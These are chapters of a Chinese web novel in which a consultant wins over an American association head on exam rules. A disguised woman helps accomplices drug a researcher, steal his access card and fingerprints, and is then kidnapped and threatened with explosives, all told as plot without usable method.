“产品的设计要符合你的理念,打个比方,你的理念是健康生活,那你的产品必须要在带给人们健康上下足功夫;如果你的理念是带给人方便,那产品要让人使用过程中实实在在感受到方便。 你可能会问,那我产品里的健康功能,别人的产品也有,方便功能,别人的产品也还是有,该怎么突围? 三个字‘下功夫’,能改进多少,就做多少努力。哪怕你的产品上只是做一点点细小的差别,来支持你的理念,那么比起其他没有理念或是不同理念的产品,你就赢了一大半,吸引足够关注度。 人们在遇到需求时,想到的是这个理念,在众多产品中,选择含有这个理念的品牌。这就是理念引导客户,引领市场。” 乔克对这番话听进去了,原来在经营上并没有太多兴趣,在听到尚云这番话对经营管理有了根本上的转变,突然就信心十足起来,这当然是尚云深入浅出的教导起了作用。 德国这边工作处理得差不多的时候,尚云跟团队开会:下一站是美国。 美国是全球制造大国,哪里有制造业哪里就该有普世,这似乎没有让人费解的地方。但团队在美国的工作开展并不如预期。 尚云在这方面跟彼得进行了一个多小时的越洋电话,讨论在美国开展业务问题。 彼得给出了很多中肯建议,他在第二天很晚的时候,又发给尚云一封电子邮件,附件是一份成熟的本土市场分析方案。 小蔡在美国水土不服,很快倒下,卧在酒店哼哼唧唧,尚云给他请了医生,又安排人照顾他,工作上临时拉了国外同事金牌顾问黛妮随行。 黛妮是个很有想法的人,热情外向,工作上也常常受客户表扬。 她自大学做为交换生来了美国,后来断断续续就一直留在这边了,在美国的时间比呆在家乡的时间还多。 因为尚云说要去哪个位置,黛妮很快就能开着车给他准确无误的送达,赢得尚云由衷夸赞。 第一百八十七章 约见斯克顿会长改行规 普世进驻美国市场时,刚好遇到政策改革。行业内施行的所有服务必须拥有当地有关机构的资质认证,以此来限制行业乱象。 普世公司被这一当头一棒带入漩涡之中,全方面停止新的业展拓展,全体员工抓紧时间学习有关机构有偿提供的学习资料,参与统一职业认证。 考核要求极其苛刻,通过率极低。 两个月下来,考了几次,通过率仅15%,毕竟考的内容跟工作毫不相关。没通过的也只能转移阵地,去德国分公司发展,换一批顾问前来重新攻克“学业”证书。 原来形成的蓝鲸团队因此而支离破碎,严重影响团队之间的契合度,给德国分公司业务造成不小的冲击。 尚云想要彻底解决这件事,根本不在于考试,而是一个关键人物。 这个人则是斯克顿会长。 “黛妮,明天早上去卢森堡公园。”尚云交代。 “好,随时侯命。”黛妮微微一笑。 这段时间他们之间配合默契,黛妮有眼力见,足够机灵,帮了尚云不少忙。 斯克顿会长对考核内容有决定权,尚云给他写建议邮件,但是都没有得到回复。因此,他决定亲自跟他会面。得知斯克顿会长平时有晨练的习惯,而且偏爱中国的太极,尚云因此看到了机会。 第二天,尚云很早就出现在卢森堡公园,在斯克顿会长跑步到来公园时,他便在他旁边一起打太极。他打出去的每一掌都刷刷有力,而不仅仅是太极的形状。 这就让一直不得其门而入的斯克顿会长大感惊叹,站在旁边看他一招一式把整套太极耍完。低头看地上的落叶,竟在他脚下形成一个八卦图。 “你这是什么功夫?”斯克顿问。 “太极。”尚云气息颇稳,微笑回应。 对方张口结舌:“我,天天都在练习太极,没有这样的效果。” “太极在心,在内,在柔,不在形式,不在招数,不在外形。”尚云说,“所以,我们练太极,一般都会先练习内功,气息,再将内部力量化成招式,看似无力实则有劲,看似无形实则有招。”他指指脚下的八卦图。 斯克顿竖起母指,“高手,你才是太极高手。能不能教我?” “当然可以。” 尚云只字未提公事,全程只教他运气,凝神,自由吐纳,出手投足与气息统一,力道自生。不一会儿就汗流夹背,斯克顿大喊神奇。“以前练太极全程软绵绵从不出半滴汗,如今光是运气凝神,就已经汗流夹背筋疲力尽。” 离开的时候,尚云已经跟他交上了朋友,留下联系方式。 黛妮问道:“尚总这么快搞定了?” “只是陪他练了一会太极,聊了些关于太极的话题,还什么都没谈。不过,他约我今晚去他的私人酒庄品酒。到时候你准备一下,一起前往。”尚云淡淡地道。 “好啊!在这边能约至私人酒庄说明对方将你看作贵宾,尚总出手没有搞不掂的人。”黛妮早就听说董事长非常厉害,是常胜将军,这几日亲身见证,便笑着取经:“尚总怎会知道斯克顿会长会来卢森堡的?我也学学经验。” “很简单,做好一项工作的前期准备。知己知彼百战百胜,虽然老套,但这是快速拉近距离的方式。提前做功课,360度了解这个人的一切信息,便于找到利于自身发挥的点。”尚云神情淡然。对于他来说,从来不打没把握的仗。接到的任何一项工作,都会心思慎密的收集第一手资料,就是他自己所说的前期准备工作。也差不多就是这个好习惯,才会使得他不管遇到多强大的敌手,都无往不利,所向披靡。 “哈!就像谈恋爱惯用的套路。”黛妮直人直语。 “你这想法犯了普世方法论之大忌。谈恋爱与谈客户都不应该用‘套路’,而是待之以诚,世界上不缺聪明人,尤其是你的客户。俗话说,高手过招唯快不破,在商场利益过招唯真诚无敌。”尚云有些不悦,不苟同她的思维。“你加入普世是谁做的入职培训?” 黛妮知道自己犯错了,吓得噤声。“尚总,对不起,我说话不过脑子。” “你很机灵,不像说话不过脑子的人。你只不过说出了你的认知。”尚云不认为这是一件小事,必须要给分公司抓培训。 黛妮支支唔唔,暗暗责怪自己抖机灵不成反而闯了祸。 当天晚上,尚云还是带黛妮去赴约,这让黛妮很感动,也很意外。 酒庄并不是一般意义上的酒,斯克顿会长很懂生活,也真心爱文化。他的酒庄里收藏了世界各地的名画,有些画家还在世,多数已经作古。这就难得,一般来说在世的画家很难获得认可,所以盛传一个画家的作品都是在本人作古之后才值钱。 斯克顿没有这样的偏见,喜欢的画作便买回来与其他名画挂在一起,没有分别心。 尚云就这一点跟他展开讨论,发现他对这类社会现象也是斥之以鼻。 越谈越投机,斯克顿便将话引到尚云身上,问及来此是经商还是旅居。 “我虽是商人,但我从未将自己所做的工作定义为从商。我认为从文化和精神文明的角度来看,理应全球共享,共同发展,无区别心。一只蝴蝶尚能煽动一场金融危机,若文明只局限于某一狭域,也迟早会被倾覆,被历史洪流吞噬。” “你这么说,我真的好奇你是做什么工作?” “企管文化咨询领域。” “哦。这个在我们国家也不在少数,从上个世纪这个领域就开始蓬勃发展。到了如今利益至上,我不认为在这样的环境下你来到这里能实现你的抱负。太迟了。”斯克顿耸耸肩,对这个领域的发展比较悲观。 尚云摇摇头,“不,长满杂草意味着这块土地肥沃,恰恰不应该放弃。” “你将大部分时间用来除掉杂草,对于企业发展未必是好事,因为你要耗费更多的精力去维持正常运营。” “你说的话从逻辑上来说没有错。但是,从另一个角度来看,反倒是好事。一块地里全是荒草,如果认真灌溉一支玫瑰,一旦开花它将是这块杂草地里最美的风景,很难让人忽略它。但如果这块地里全是玫瑰,它反而平平无奇,你不会去认真比对哪一朵更好看。大环境好的时候,对它来说反而失去发光的机会。当然,我最终的目的是让这块地种满鲜花,而非杂草,哪怕最终我会被鲜花淹没,但想一想,这世间是允许百花齐放的,那才是健康生态。” 尚云的见解让斯克顿耳目一新,饶有兴趣地说:“你能这样想那最好不过。不过,这个领域在我国已经相当成熟,你要用什么来脱颖而出?” 第一百八十八章 尚云点拨黛妮 “我们有句古语叫后来者居上。字面意思可能不太公平,但它也说明后进场的未必就一定输。我深知,在这里很多同行已经做得相当不错,但刚才我也提到,我们渊远流长历史悠久的古国文明,有很多文化瑰宝是可以共享全球的。而普世提炼出文化精华,一通百通,有益于企业管理,这是我们的优势。” “企业文化跟民族文化属于全然不同的领域,二者如何混为一谈?” “企业文化说白了作用于人心,而人是环境的产物。宏观环境决定微观环境,微观环境亦反作用于宏观环境。他们相辅相成,不可分割。” “这个说法倒是新鲜。”两位强者聊着天,在酒庄里转了一圈,走到长圆桌旁坐下。 黛妮跟在他们身后,全程听二人聊天,不敢随意插话。 “这是我们民族文化中的天人合一,道法自然理论。依循自然规律治理一切组织,都会有意想不到的效果。” 斯克顿明确表示听不懂,他皱眉深思后摇头:“尚先生的见解很特别。” 尚云用对方熟知的理论作为切入口:“我知道,你们的本土文化重视挑战,崇拜强者,尽一切所能重建规则让万物为你们所用。” “没错,我不觉得有问题。” 他笑着问:“如果,我告诉你,越是低的,弱的,慢的东西,能达到的层次越高,力度越强,效能越持久,你会相信吗?” “这怎么可能。”斯克顿摇头。“不符合科学。” 尚云双手一摊,笃定地道:“这是现实啊,大自然的规律就是如此。我们做了那么多实例,已经证明了企业文化的力量必须符合自然规律,因为人是自然的一部分,力量由内心生发出来,胜过一切外在形成的规则、流程和工具。” “你刷新了我的认知。”斯克顿笑了,出于礼貌,其实并不是很认同。 “好。我打个最常见的比方。牙齿和舌头,谁最强?” “当然是牙齿。” “那么,在人老之后,舌头和牙齿谁先消失?” “噢,牙齿先掉光。”斯克顿突然大笑。 “峰顶和山谷谁更高?” “当然是峰顶。” “但是峰顶为什么鲜有生命?而山谷里总是生命力旺盛,郁郁葱葱?” 这下斯克顿陷入沉思。 尚云趁热打铁,说道:“石头比水硬这是事实,但水滴石穿也是事实。发洪水的时候,一昧去挡住它,必会引发更大的灾难。如果顺势而为加以引导利用,反而能物尽其用,两全齐美。所以,普世文化注重人心引导,将不受控的无情的因素转变成有情的受控的凝聚力,将公司的目标变成人心所向。” “我明白了。我懂你的意思。确实是这样。”斯克顿终于发自内心的认同他的观点。 “所以一切外在的形式化的事物,都于事无补。比如不会运气只会耍太极拳招式,或者现在本行业的限制令,都不会让你有收获。” 斯克顿一怔,“你是说最近颁发的新规吗?” “有新规管控市场这对行业而言是好事,但不妥之处在于考核内容与工作无关,就算考核合格,也未必能对员工是否胜任工作起到资质鉴定的作用。我们普世绝对尊重和支持本土文化和政策,只是希望考核内容不仅设计了门槛,还能满足实际需求。” “尚先生的建议非常中肯,我会慎重考虑你的提议。” 听斯克顿这么说,事情十有八九已经成了。 黛妮心下雀跃,公司进驻市场最大的障碍清除,终于可以正常开拓业务。 回去的路上,尚云问她,“今晚我本可以自己一人过来,为什么要带着你,你知道吗?” “是希望我多学习学习?” “那你学到什么了?说说看。” “我们以客户至上,但是必要的时候要坚持立场,敢于悍卫正确的观点。”黛妮想了想,补充了一句:“哪怕对方的地位能决定我们的生路。” 尚云从鼻息里发出笑声。 黛妮一紧张,又说道:“平时多累积素材,做到旁征博引。让人更容易信服。” “还有吗?” “还......有,”黛妮绞尽脑汁总结经验:“重要的事情放在最后。” 尚云收敛笑容,说道:“学习不是为了死搬硬套,你要学的是模式,而不是事件流程。我只是随口问问,你不用这么紧张。怕错的人往往更容易犯错。” 其实也不能怪她,因为上午他确实太严肃了。但上午的事情关系到公司的价值观,所以他严厉问责,没想到给她造成阴影,回答问题就开始字斟句酌起来。 “好,我明白了。” “明白什么了?”尚云又问。 黛妮放开了约束,说道:“尚总是给我松绑,解放天性。鼓励大胆灵活对吧。” “没错。在普世没有不自信的员工,公司鼓励每个人找到自己的优势,让自己具有不可替代性。如果连自己都不相信自己,团队就无法信任你,客户更不可能信服你,如果客户不信任你,怎么敢将自己的公司前程交给你?”尚云继续说:“另外,你是美国分公司的第一批员工,直接会影响到未来的团队。首先要熟知公司坚持的理念,当你熟透一样事物的基本逻辑,任何旁人旁物都能化成你的助力帮你佐证。哪怕你不是学富五车,只需要你有基本的生活常识也可以做到。 其次,跟别人谈判不要急于说服别人,尤其对方跟你的观点相反的时候,对你所表述的观点会抱有本能的排斥。但你可以用一些共有的经验作为切入口,让他慢慢进入你的思维,带动节奏。 最后,我不是刻意将重要的事情放在最后来讲,而是让他理解我在说什么,并且接受了我的观点之后,我再联系自己此行的目的作为同一个观点其中一部分表达出来,他顺理成章会接受。” 尚云一半肯定一半批评,给她希望,同时给她当头棒喝:“蓝鲸团队的队长们都是我亲自带着他们谈判培养起来的,在这一点上你很聪明,但过于聪明。要想做好一项事业,光有聪明还不够,必须有厚重感。这需要你重新认真理解普世的价值观,最快捷的方法是让自己成为客户,工作之前把自己当成客户提问题:你希望公司将工作做到哪一步你才满意,服务到什么程度值得信任,用什么心态处理状况你才放心。如果你是客户,能不能接受‘套路’和‘虚情假义’。” 黛妮隐隐约约觉得尚云要重用自己,否则不会把她与蓝鲸队长相提并论,但也很明确知道自己的差距在哪里。所以,她感觉到尚云的施压是正面的:“尚总批评的对。上午的事我其实有反省,以后一定分外注意,与公司统一步调。” 说着话车子已经回了公司。 第一百八十九章 尚云约见维克 果然一周之后,斯克顿会长再度出了细则,采纳了他的意见,考核中原来仅20%的专业知识现在变更为60%的专业内容。 接下来尚云亲自给员工培训了公司的核心文化,解读七大铁律,对尚在雏形的北美州分公司做了与总步同样的调整与标准,又招募了新的培训小组遣送回总部回炉重造。 他在北美州分公司期间,对客户管理上进行了一系列改进,一边拓展业务,一边给客户设置黏性,适时给客户提供专业指导与方向预测等新的服务功能。很多客户对这些附加的服务表示很感兴趣,尝试过后对服务产生了信赖,建立更为深厚的连结。 这也正是应对斯克顿会长所提出来的担忧,因为本土企管咨询公司已经各方面非常成熟,普世必须能提供别人所提供不了的服务作为自身的优势,以应对这种极端环境,先保证自己用健康良性的竞争力助力自己扎根,才有可能往前推进达成最终目标。 不知不觉又忙到深夜,他关掉电脑伸了一个懒腰,每根骨骼都像是在呻吟。 黛妮也在公司加班,自上次批评她之后,作为公司为数不多的女性文化顾问之一,黛妮表现出相当敬业的一面。尽管小蔡已经恢复活力,但在黛妮的坚持下,她仍然大部分时间跟随尚云左右,宣称要多跟尚总学习。 尚云睁一只眼闭一只眼,默许了。他欣赏有上进心的人才。 手机里的私人邮箱里躺着一封邮件,他点开查看,是维克回信:“最近比较忙,不过明天下午有时间,我们可以约在波士顿week No5酒吧见面。” 他回道:“那就七点见。” 波士顿并不大,跟旁边喧嚣异常灯红酒绿的纽约相比,这座城市反倒像是深闺女子一样婉约而宁静。这里的单位倾向于精密制造或轻工业,实验楼研究类。 维克所做的工作正是生物科技防治研究的研究员,隶属私营公司,承接的业务项目却没有那么明晰的界线,公私均接。 世界上的任何物种都有克星,任何科技的面世自然也需要能克制它的天敌,否则将是人类的灾难。所以,像维克做的研究工作是有必要存在的。 week No5酒吧很有名气,并不难找。但为了顺利到达这里,尚云还是叫了黛妮同行。 酒吧跟国内的酒吧差别不大,也许是夜场,显得更加肆意和迷醉,没有下午那种秩序感。 舞池已经有人跟着舞曲音乐在扭动,酒吧内的氛围在五颜六色的灯光下煊染到极致,有很多豪华包厢,有身份地位的人喜欢约在豪华包厢里相会谈事。 酒吧服务员比国内的服务员更加热情周到,可能跟小费有关。 维克发了一个包厢名过来,尚云带着黛妮找到包厢,推门进去。此时维克还没到,一位金发服务员正在按维克预订的要求摆上很多酒和果盘、小吃。 见他们进来,服务员转身打量了他们,这在平时并不多见,因此,服务员也第一时间意识到,赶紧低头整理台面上的一些物品。 两人并不在意。但尚云看到服务员的背影还是莫名怦然心动。 “这个包厢的金主还没来?”黛妮用流利的英文问服务员。 服务员漂亮的大眼睛像是有些慌乱,并不说话,只点点头。随后从口袋里掏出一份顾客点的酒品清单,快速在清单上签字确认,摆在台面上。 她写字的时候,跟常人写字手指的位置稍微不同。一般人食指和拇指关节之间是打开的,但她的食指和拇指关节并排在一起,或者说挨得很近。 尚云觉得她摸笔的方式很特别,跟九月摸笔的方式如出一辙,他甚至以为她就是九月,因为世界上怎么会有如此相似的手指和摸笔方式。 但她的头发是棕色的,包厢里开着明灯,能清晰看清楚她的高鼻梁和脸型,湛蓝色的眼眸,正宗的欧美脸型,完全不是九月的模样。 可能是自己太思念九月,看谁都像。 服务员似乎也发现尚云在盯着自己的手,她很快收起笔和笔记本,低头拉着小推车出去了。 维克随后就到了,他笑着高声说了一句:“欢迎我的好朋友尚云来到波士顿!” 热情跟尚云拥抱,很有绅士风度跟黛妮握手。 服务员走到洗手间水龙头下洗手,旁边出现一位略微清瘦的身影。 她抬头看见一个络腮胡修剪整齐的欧美人站在那里,她牵强地一笑,低声用标准地汉语说道:“我知道怎么做,你不用来找我。” “你要想办法拿到他的卡,这段时间他并不常来,我们的机会不多。我怕你紧张,我们会保护你,不用害怕。”络腮男人的汉语也很流利。他们来这里后,就一直锁定目标人物的行踪,这里是他最喜欢的酒吧,而今晚是他们潜伏进酒吧后他头一次光临。 “嗯。”女服务员点点头,扯出一张纸擦手。 他将一个小纸包递给她,手覆在她冰凉的指尖。“你怎么了,冷?” “不,因为刚洗了手。”她解释,其实她有点紧张,但她不会承认。将纸包塞进口袋,转身出去了。 “好运。”他用英文说道。 她头也不回,用英文回了句,“谢谢。” 一个个子稍矮身体强壮的外国人法兰利德,递给她一瓶酒。他是酒吧的负责人,老板的侄子:“这是赠给尤里卡包厢的安德里安白皮诺白葡萄酒,他是我们的顶极会员,尽管近段时间他不常光顾。” “哇哦,大手笔。”服务员惊讶道。 “他今晚的消费一定也不菲。你等着看。”法兰利德神情愉悦。 服务员笑道,用生硬的英文说道:“好,我会尽心尽力做好工作,让顾客很快会想念week No5。” “lisa,你的英文需要加强,尽管你从小在中国长大。但这是带给顾客美好体验的基本要求。”法兰利德提醒道。 “好的,我知道了。我会的。”lisa吐吐舌头,笑着回应。 拿着酒经过长廊时,Lisa避过摄像头,快速将口袋里的纸包取出来。 走进包厢时,他们正在谈论酒吧的名字。 黛妮喝了一点酒变得很健谈:“我猜第五周根本不存在。一个月只有四周啊。所以,老板是说一切都是一场空,活在当下享乐当下就很棒了。” 维克旁边坐着一个年轻人,他顺着黛妮的话说道:“酒吧取这么虚幻的立意?在这里发生的感情暧昧,都可以当成一场梦。” 尚云则不以为然:“四周就是28天,这不现实。我倒是觉得,酒吧名字即是开头,又是结束的意思。可能是说在这里开始,也在这里结束。” “为什么?”维克问。 “基本上每个月的第五周就是如此,既连着上个月的月尾那几天,又衔接着次月的头几天。你们想想看是不是这样?” 维克很高兴,为举杯找了一个理由:“这个解读更高明!来,干杯,为你这个有哲思的解读!” 尚云小抿一口,已经跟维克解释过有旧疾,所以没人强求他。 第一百九十章 尚云对Lisa起疑 看到服务员将一瓶酒放在维克面前,“先生,这是酒吧赠送的安德里安白皮诺,请愉快享用。” 维克立即拉住她说道,“你别走。”看了看她胸口的牌子,“Lisa小姐,新来的吧,赏面一起喝一杯。” Lisa迟疑了一下,微笑道:“我在工作。” 维克露出迷人的笑:“没关系,以前的侍酒员经常得到我赠予的酒。你刚来一定不知道。” “好。”Lisa从容一笑,留了下来。 维克从她刚刚端过来的酒瓶中倒出一杯酒递给她,自己也倒了一杯,跟她碰杯:“非常有幸与你共饮。” “谢谢。” “还有,你的口音我喜欢。”维克半开玩笑半认真,看着她慢慢喝下去,他自己才痛饮杯中的酒。 “谢谢。”她取了纸巾,擦拭嘴边的酒。药效没这么快发作,她并不慌张。 “你可以像他们一样,跟我们愉快聊天。不用重复谢谢两个字。”维克哈哈笑道。 Lisa窘迫站在那儿,脸上维持礼貌的微笑。 “维克,别为难新来的服务员。”尚云于心不忍,出言相劝。 “不,不是为难。我很喜欢她,已经很多年没见过她这样可爱的服务员了。她一定是第一次来酒吧工作,我打赌。”维克喜欢喝酒,但酒量并不算好,喝了不少酒已经微熏。 “她很害怕,你的喜欢就是为难。”尚云无奈道。 维克不以为然,问Lisa:“你害怕吗?我会给你很高的小费,他们都喜欢我的到来。”他说的他们,是指以前的服务员。 “我很高兴你这么做,但我确实不习惯。今晚有特色小吃,庄园风热狗,要来一份吗?” “好,来两份。”维克豪爽的说道。 “好的。请稍等。”Lisa转身出去了。 她去了洗手间,发消息给威尔:“我也喝了。” 威尔很快过来,是刚刚的络腮胡男人。低声问:“你怎么也喝下去了,你知道那里有料还喝。” “他盯着我喝的,赠我一杯酒。我不能引起他生疑。”她感觉头有点微微抽痛,一丝晕眩。“刚才本有很好的机会跟他互动,但我这状态我要知会你,就找借口出来了。” “那粒药会加速迷醉,你喝得不多,一会大量喝水可以稀释。实在不行你作场外接应,让罗小卫上吧。”威尔改变策略,告诉她接应的地点和方式。 “不用,我一会多喝点水,我现在送两份庄园风热狗进去,你们作好准备按计划行事。” “行。你自己多注意,尽量别惹任何人怀疑。” “好。” lisa喝了两杯水,感觉稍微好点,端着热狗去了包厢。脚步有些轻浮,摆热狗盘的时候,一个重心不稳,挤掉了矮桌上的一瓶酒,直接倒在维克腿上。 红酒汩汩流出,维克反应慢了半拍,跳起来道:“天!上帝。” Lisa吓一大跳,忙拿了纸巾给他裤子擦拭。旁边的人也都站起来帮忙扶起酒瓶。 “对不起,对不起,刚才喝了那杯,头有点晕。”她低头道歉。 维克抖了抖裤腿,头昏脑涨地走出来,“太糟糕了。” “对不起!”她重复那句话,“我帮你去清理。” 她扶着维克出去,维克没说什么,跟着她走了。 出门的时候,有人拉住了她的手,她回头一看,是尚云。“让他来。”他身边站着维克的朋友。 “他好像也喝多了。” “没关系,看起来还挺清醒。”尚云将她拉回来,让维克的朋友扶维克出去了。 “我没醉。但是我可不擅长干这种事。”维克的朋友为难道。 “我也这么认为。”她趁机附合。“是我自己犯的错,理应我去处理。” “这瓶酒不就是你打翻的吗?你确定不会让他栽进马桶里?”尚云得保证维克的安全,他可不会侥幸认为那瓶酒是她不小心碰倒的。 这个服务员跟九月有相似之处,但他向来以理智见长,不会轻易被迷惑。此时跟她距离很近,目光在她脸上徘徊,神色晦暗不明。 “我会叫同事一起,这本就是我们的工作。”她意识到刚刚太过心急,引起他的警觉。“我希望能补救工作上的失误,我不能失去这份工作。” 尚云没有说话,但也松开了她的手。 黛妮跟维克的朋友谈话很投机,喝了不少,此时歪歪扭扭的走过来:“尚总,我有点难受,去下洗手间。” 尚云便对Lisa说道:“你陪她一起。” “好。”lisa扶着黛妮出去的时候,看到尚云叫来其他服务员,把靠在墙角的维克扶起来。 她得想办法联系威尔,没想到威尔正在吧台旁边站着等候差遣,吧台旁边通往酒吧任何一个地方,也可以注意到四面的动向。 她不动声色的使了使眼色,威尔接到信号,朝她身后看了一眼,便走上前来帮忙扶住维克。她松了一口气,扶着黛妮去了女性洗手间。 谁知还没到洗手台,黛妮突然一个没忍住,就趴在Lisa身上,她连声说“等等,请等等。”就听到黛妮哇哇吐了一堆。 Lisa头偏向一旁,估计想死的心都有了。 把黛妮扶到洗手台,自己脱去领结制服放在水龙头下冲洗,用了很多洗手液,仍然冲洗不掉那股味。 放在烘手机下稍微烘热,重新又穿在身上,上面两个扣子没有扣上,领口垫了些纸巾,才不至于冰凉。忙完自己又赶紧去照顾黛妮,帮她清理掉池里的秽物,打湿纸巾帮她擦脸。 “刚刚你中文发音挺标准,比你的英文说得还好。”黛妮靠在墙边,目光迷离,思维却是清晰的。 “我从小在中国长大。”她解释说,“你好点了?” “好多了,扶我回去。”黛妮伸出一只手来,“放心,我现在不吐了。” Lisa将她伸过来的手搭在肩膀上,两人的个子差不多高,但黛妮比她要大一号,而Lisa还有些头晕,因此还不太能撑稳。好在黛妮现在能走稳,只是有些晃。 她叮嘱道:“慢点,我有点失控。” “我没动,你走一步我就走一步。”黛妮无辜地说。 Lisa哭笑不得,“你不走我就带不动,你一走我就失控。我得找人帮忙。” 好不容易将黛妮搀到吧台旁,看到维克的朋友正在旁边吸烟,“麻烦你,扶一下。” 他很愿意帮她的忙。 黛妮却说:“跟我老板说一声,我得回去了。太难受了。” “那我送你。”那年轻人绅士一笑。 “求之不得。” “好的。”Lisa答应她,目光却在寻找威尔。看到男洗手间出来一个人影,直接从后面的消防门出去了。那人正是小卫,她猜到威尔得手了。 她走进尤里卡包厢,尚云一人靠在沙发上假寐,包厢放着音乐,他没听到她进来。 她弯腰轻轻叫他:“先生,先生。” 音乐声太大,服务员不允许与顾客发生肢体接触,这里的规矩。因此她再往前靠近,几乎靠在他耳边叫他,“先生。” 尚云睁开眼睛,一眼就看到她垫在领口的纸巾露出一截,顺着敞开的衬衫,很自然就看到她左胸若隐若现的凤凰花。 第一百九十一章 弄巧成拙 “刚才我扶去洗手间的那位女士已经离开,是与她一起的那位先生送她回去的,她让我转告您。”她说完即直起身子,退了两大步。 尚云若有所思看着她,眸子渐渐转深,直到她转身离开了包厢。 维克已经被威尔送了回来,他的裤子已经被烘干。尚云提出该离开了,维克表示同意。 “我寄给你那只猫,有任何新消息要告诉我。”尚云跟他走出去时又叮嘱了一声。他压根没想到维克到现在还没见到洋洋。 “当然,你要相信我。”维克也不含糊。 当晚的下半场,小卫回来了,他从后门直接进入到包厢,威尔很快收到信息,“第三间卫生间格子顶。” 威尔找借口去了第三间卫生间,在格子间顶端摸索一阵,出来了。洗完手,在墙侧的烘手机停住,弯腰在地上像是捡了某样物品,他交给法兰利德。 法兰利德看了看,一张双指宽六厘米长的小卡片,放进柜台里等待失主认领。 包厢已经收拾干净,威尔和lisa共同收的,她将维克那只酒杯倒酒的瓶子单独放在一个框里,在仓房用早就准备好的碘蒸汽提取出维克的指纹。 一直到凌晨两点,他们总算下班。lisa与威尔心照不宣互相看了一眼,便像以往一样分头离开。 Lisa回到临时居住处,低头掏钥匙的时候,瞥见身后有人。她猛一回头,看到尚云在她身后。 她下意识的退了两步。“先生?你......” “你住在这里?”尚云用普通话问她。 “什么?”她假装听不懂。 尚云抬头看看她居住的地方,又看看周边的环境,这边环境幽雅就是太过偏静。刚才一路跟过来,她下了地铁走了很远才到这,幸好这边治安不错。 她的警惕性太差,他一路尾随,她竟没有丝毫察觉。 “你的英文很烂,但中文不错。你可以跟我说普通话。”尚云没有点破她。 “我在中国长大。回国没多久。”她说道。“先生也住这附近吗?” “路过。”尚云简洁回答,递给她一张名片。“这是我的联系方式,也许以后你用得上。” 那上面有欧美分公司的地址。 她接过来看了看,微微一笑说:“好。”尽管可能用不上,完成任务他们就要离开这里。 他却没有想走的意思:“我以为交换了名片,可以进去喝杯咖啡。” “不方便。太晚了。”她牵强笑道。 “好,我相信下次还有机会。”尚云转身原路返回。 她长吁一口气。回房间后,她卸下假发,又在下颌处摸索了半天,撕开一层胶质面皮,小心翼翼扯开,直到整个面部都撕下来,镜中出现了一张亚洲面容,黑头发,黄皮肤,略微柔和的五官。镜中人正是九月。 她双手在脸上轻拍,缓和半天,麻木的面部终于出现红润。 手机出现信息提示音,她点开,是威尔发来的电话接通请求。 他开口第一句话就是:“你明天先回国,后面的事情我们去做就行了。” 九月反问道:“你们什么时候行动?” “就这几天。他们会与箫小竺那边联系,箫小竺会来这里参观。我们截获信息得知厚山科技准备跟这边一家外企合资研发生物监控项目,谁都不会想到是防治研究院牵的线。门禁和指纹已到手,找机会潜进研究院取证,要在达成合作前制止他们,不能让他们开始大量生产。” “这样的话我先留在这里,多个人手好接应你们。” 威尔语气有些焦急:“非常危险,如果事情失控,我们不一定能保护你。” “不用保护,一旦有情况,我第一时间撤离。”与其回去干等,不如留在这里,起码能获知第一手信息,必要时她能帮上忙,这是她余生头件重要的事了。 “我跟父亲保证过,要护你周全。” “谁的命不是命?”她固执的认为:“多一份力量,就多一份把握。” 威尔勉强答应,“如果我们失联,你恢复九月的形象去找尚云,没有人会怀疑你。如果答应你就留下,否则我明天就差人送你回去。” “好。我同意!” 随后的几天,九月仍然以Lisa的装扮和身份在酒吧上班。听法兰利德说,威尔跟朋友闹翻,要离开波士顿,所以辞职了。小卫也没再出现在酒吧,维克倒是来了一回,但不是来喝酒的,而是来寻找遗失的芯片卡的。 法兰利德从柜台里拿出那张卡片,维克谢天谢地一番,拿着卡亲吻而后离开。 下午三四点钟,酒吧还在整理当中,没有顾客。看到九月装扮的Lisa在整理桌椅,不禁前去打招呼,眨眨眼睛,打了个响舌,笑着说:“有空再来看你啊,口音姑娘。” Lisa微微一笑:“好啊。” 这天是周末。天下着倾盘大雨。九月去上班的路上,突然接到威尔的电话,“九月,报告已经拿到,但是我们被发现了,正在追捕我们,好在并不知道我们真实长相。他们一定会寻找蛛丝马迹然后联系到酒吧丢失卡片事宜,我不确定他们会掌握多少,但无论如何你必须离开这里了。” 九月撑着雨伞在梧桐树下,大滴的雨水敲打着伞面,发出让人心烦意乱的紊乱节奏。“我在这时候离开就是此地无银三百两。” “早就劝你离开!”威尔那边也传来细微雨声,看来他还没离开波士顿。 “之前我们同时消失不是更可疑吗?”九月反驳他,又冷静宽慰道:“你放心,我有办法脱身,你不用担心我,做你该做的事,去你该去的地方。” 威尔将信将疑,但他的时间有限,便嘱咐了两句匆匆挂断电话。 九月像是什么也没发生,平静地回到酒吧上班。无巧不成书,当天酒吧夜场发生了一起恶意争执,尽管当时事件已经平息,但她端着酒盘从廊中穿过时,听到其中一方打电话,叫人来清场。 这是黑话。九月听威尔跟她普及过。 她本能地想告诉酒吧负责人法兰利德,但这时她的头脑中闪现了一个冒险的念头,也许这是她离开酒吧并且彻底摆脱嫌疑的机会,机不可失她不能放过。 给顾客送酒回来后,她转头去找到打电话的人,劝他不要将事情闹大,双方在私底下和解,可以避免一场无谓的战争。 对方是一个高大强壮的汉子,如她预料中的反应,脸上横肉闪着油光,一望便知道不是善茬,粗鲁骂她多管闲事,威胁她如果敢把消息告诉第三个人,将要自负凄惨的后果。 九月心惊了一下,硬着头皮不依不饶地说道:“我是好意。请您听取我的建议。” 对方站起来,高大的身子挡住了光线,脸上露出凶相将她逼到墙角,“你跟他们是一伙的?” 九月摇摇头:“不是,我只是好心提醒,我不认识你们任何一方。” 对方转头看看周围没有旁人,脱下衣服,穿着一只背心,在九月未反应过来,就用脱下来的衣服将她的头包住,隔着衣服捂住她的嘴,半拖半抱拽出了酒吧。 有人看见了,但以为是他们自己人在闹着玩,来这场合的人三教九流,大都来找乐子放松,谁都不愿多管闲事。 第一百九十二章 惊险一幕 九月被汉子掠出酒吧,塞进一辆汽车,这才拿下衣服。九月获得说话的自由,立即跟对方商量。 但对方可不会轻易放过她,立即找来绳子将她的手反剪绑在身后,还笑着对她说:“甜心,别紧张,我们来玩一个游戏。” “求你放了我,我不该多管闲事。”九月做梦也没想到事情会这么严重,她以为最多揍她一顿。 “别急,马上会放你走。带个礼物给你朋友们!”汉子从后座拿出很奇怪的自制炸药管捆在她身上:“太棒了,我想他们一定会很惊喜。” 汉子用胶纸贴住她的嘴唇,将她粗鲁拉下车,拿了一小桶汽油给她浇上,嘿嘿笑着吹了吹口哨,“完美。” 